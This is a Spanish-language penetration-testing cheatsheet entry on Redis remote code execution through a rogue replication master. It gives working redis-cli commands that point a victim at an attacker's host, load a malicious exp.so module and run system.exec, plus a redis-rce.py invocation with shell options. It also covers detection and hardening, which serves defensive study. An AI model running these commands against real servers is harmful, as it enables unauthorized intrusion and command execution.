Redis RCE via rogue server (replication)
Arsenal completo de comandos en la cheatsheetUna variante de la carga de módulos en Redis que resuelve el problema de "¿cómo subo el .so al objetivo?" sin necesitar otro canal de escritura. En la técnica clásica de MODULE LOAD hace falta una ruta local en la víctima (un FTP escribible, un upload web...). El rogue server usa el propio protocolo de replicación maestro-esclavo de Redis para entregar el módulo.
El atacante levanta un falso maestro de Redis y ordena a la víctima SLAVEOF <atacante>. Durante la sincronización, el maestro malicioso le envía el .so y lo deja escrito en disco; entonces se invoca MODULE LOAD sobre ese fichero y se registra un comando como system.exec con el que ejecutar órdenes. Herramientas como redis-rce o redis-rogue-server automatizan todo el baile, incluida una opción de shell interactiva o inversa.
python3 redis-rce.py -r <ip> -p 6379 -L <lhost> -P 80 -f exp.so -a '<pass>'Los pasos que la herramienta automatiza se pueden dar a mano con redis-cli (útil si el .so ya está en disco):
redis-cli -h <ip> -a '<pass>' slaveof <lhost> 6379 # apuntar la victima a nuestro maestro
redis-cli -h <ip> -a '<pass>' MODULE LOAD /tmp/exp.so
redis-cli -h <ip> -a '<pass>' system.exec "id"
redis-cli -h <ip> -a '<pass>' slaveof no one # limpiar el estado de esclavoA diferencia del MODULE LOAD directo, funciona contra Redis autenticado si conocemos la contraseña (-a), que suele filtrarse desde un redis.conf (requirepass) leído por otra vía. La ejecución corre con los privilegios del proceso redis.
Matiz. El .so debe estar compilado para la rama de Redis del objetivo (la API de módulos cambia entre versiones); exp.so cubre las 5.x/6.x habituales, pero contra otras puede fallar la carga y haya que recompilar. La replicación también deja la instancia en estado de esclavo, conviene limpiarla al terminar.
Cómo detectarlo. La firma específica de esta variante es un SLAVEOF/REPLICAOF apuntando a una IP externa en el monitor/slowlog de Redis (una instancia de producción no se convierte en esclavo de un host de Internet), seguido de MODULE LOAD y system.exec. En red, una conexión de replicación saliente desde el Redis víctima hacia el atacante en el 6379. En el host, redis-server escribiendo un .so recibido por replicación y lanzando sh/bash como hijo (auditd/Sysmon for Linux) cierra la cadena. Comparte la detección de la carga de módulos.
Defensa. Bindear Redis a 127.0.0.1, exigir requirepass/ACLs fuertes, deshabilitar comandos peligrosos (MODULE, SLAVEOF, CONFIG) con rename-command y no exponer el 6379. Relacionado con la carga de módulos en Redis y la enumeración de Redis.